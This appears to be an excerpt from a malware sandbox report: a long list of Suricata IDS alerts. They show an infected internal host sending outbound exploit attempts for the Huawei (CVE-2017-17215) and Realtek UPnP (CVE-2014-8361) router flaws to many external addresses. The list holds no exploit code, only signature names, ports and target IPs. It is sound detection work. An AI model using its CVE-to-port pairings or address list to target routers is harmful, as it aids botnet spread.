Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55486 -> 197.83.37.51:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37938 -> 156.10.0.100:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53922 -> 156.149.6.181:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56976 -> 197.184.245.173:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:53640 -> 41.107.203.68:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46104 -> 156.168.114.112:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39960 -> 197.177.137.165:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:60272 -> 41.186.47.165:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53484 -> 197.103.184.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49448 -> 197.240.195.4:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38818 -> 41.90.125.11:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51978 -> 197.133.246.15:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58010 -> 41.67.114.133:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43846 -> 156.84.91.166:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55744 -> 156.5.234.27:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50862 -> 41.120.114.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58478 -> 41.233.44.190:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:32772 -> 156.111.21.115:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37456 -> 197.229.67.248:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56462 -> 41.166.51.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58082 -> 156.16.124.10:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38084 -> 197.37.70.229:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52888 -> 197.126.27.231:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48358 -> 41.42.204.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48988 -> 156.42.236.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58372 -> 41.38.116.194:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34590 -> 197.21.179.212:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57878 -> 197.175.106.121:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57328 -> 197.104.12.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36266 -> 197.173.47.28:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54134 -> 41.52.175.140:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43446 -> 156.113.192.250:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49576 -> 41.168.107.217:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:51928 -> 156.203.57.172:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48338 -> 197.98.207.60:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49688 -> 41.29.252.39:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37042 -> 156.200.116.254:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53716 -> 197.251.92.146:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55924 -> 197.77.127.101:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40306 -> 156.139.12.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51502 -> 197.248.150.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45548 -> 156.252.219.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41450 -> 41.196.187.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51078 -> 197.6.85.118:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54520 -> 197.100.196.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43180 -> 156.55.237.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54364 -> 41.242.86.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37000 -> 156.221.220.140:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35814 -> 197.199.224.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55586 -> 156.186.47.194:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51026 -> 41.30.135.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54668 -> 156.129.242.169:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50306 -> 197.230.212.179:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53382 -> 41.245.196.43:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44216 -> 41.174.64.231:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37398 -> 156.233.94.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41876 -> 156.141.35.255:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:50716 -> 156.68.33.3:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38260 -> 197.133.177.133:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55922 -> 197.89.91.100:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:60452 -> 41.199.101.129:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:36280 -> 197.141.198.16:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36344 -> 197.97.199.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42388 -> 41.246.217.43:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56256 -> 156.100.212.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36206 -> 197.131.45.214:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52104 -> 156.86.3.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46634 -> 41.214.17.15:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:56212 -> 197.234.121.125:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58628 -> 41.209.22.11:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59826 -> 156.211.66.166:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57050 -> 156.4.122.123:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39612 -> 156.250.233.49:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58672 -> 41.140.96.23:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51714 -> 156.156.206.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47120 -> 156.150.182.225:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36294 -> 41.174.209.182:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50876 -> 41.53.79.104:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45616 -> 197.78.36.55:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:54934 -> 156.208.214.217:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39910 -> 156.216.210.16:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44190 -> 156.12.57.73:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:36032 -> 156.45.129.102:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49848 -> 41.69.129.211:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44552 -> 41.10.72.48:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43694 -> 41.237.170.187:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:50372 -> 156.4.46.255:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52764 -> 41.134.7.100:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59452 -> 197.70.254.127:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46866 -> 156.132.56.248:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41312 -> 197.141.143.40:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46740 -> 156.70.120.224:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44970 -> 197.197.148.157:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:42354 -> 156.168.174.48:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47556 -> 197.35.159.214:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52456 -> 197.206.146.113:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48706 -> 197.110.102.39:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:42706 -> 41.222.155.250:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57472 -> 41.115.243.27:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46724 -> 41.33.52.111:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43020 -> 197.59.135.168:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48214 -> 197.11.166.154:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46964 -> 197.228.99.236:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43114 -> 197.133.55.5:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34906 -> 41.99.74.98:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34206 -> 197.198.147.91:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44962 -> 156.5.108.172:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49716 -> 156.11.141.227:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:51842 -> 197.26.208.5:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43884 -> 156.235.12.74:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:36918 -> 41.215.56.243:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37102 -> 197.207.207.46:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57988 -> 41.150.106.41:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46324 -> 41.74.146.126:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:51330 -> 41.74.144.63:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48472 -> 197.201.179.78:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48650 -> 41.107.220.242:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44650 -> 156.154.64.164:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41000 -> 156.87.35.96:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:60366 -> 41.148.83.169:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59132 -> 156.16.19.212:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45090 -> 41.238.47.83:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:53996 -> 197.36.159.14:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46140 -> 41.85.186.236:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40336 -> 156.136.102.137:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52234 -> 197.175.228.175:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49492 -> 41.63.150.165:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58836 -> 156.200.168.64:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34024 -> 156.171.211.6:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59890 -> 41.226.253.41:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52934 -> 41.237.140.232:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55270 -> 156.152.215.205:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37622 -> 156.250.138.210:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34198 -> 41.123.115.75:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38684 -> 197.116.81.60:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33454 -> 156.53.86.123:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41094 -> 197.38.236.197:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:56178 -> 197.202.194.75:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:51298 -> 197.236.73.81:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39008 -> 156.216.194.74:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38386 -> 156.242.185.63:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:35924 -> 197.85.183.101:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39360 -> 41.189.107.111:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:36950 -> 156.5.141.143:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47592 -> 197.44.42.57:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40798 -> 197.199.206.127:52869
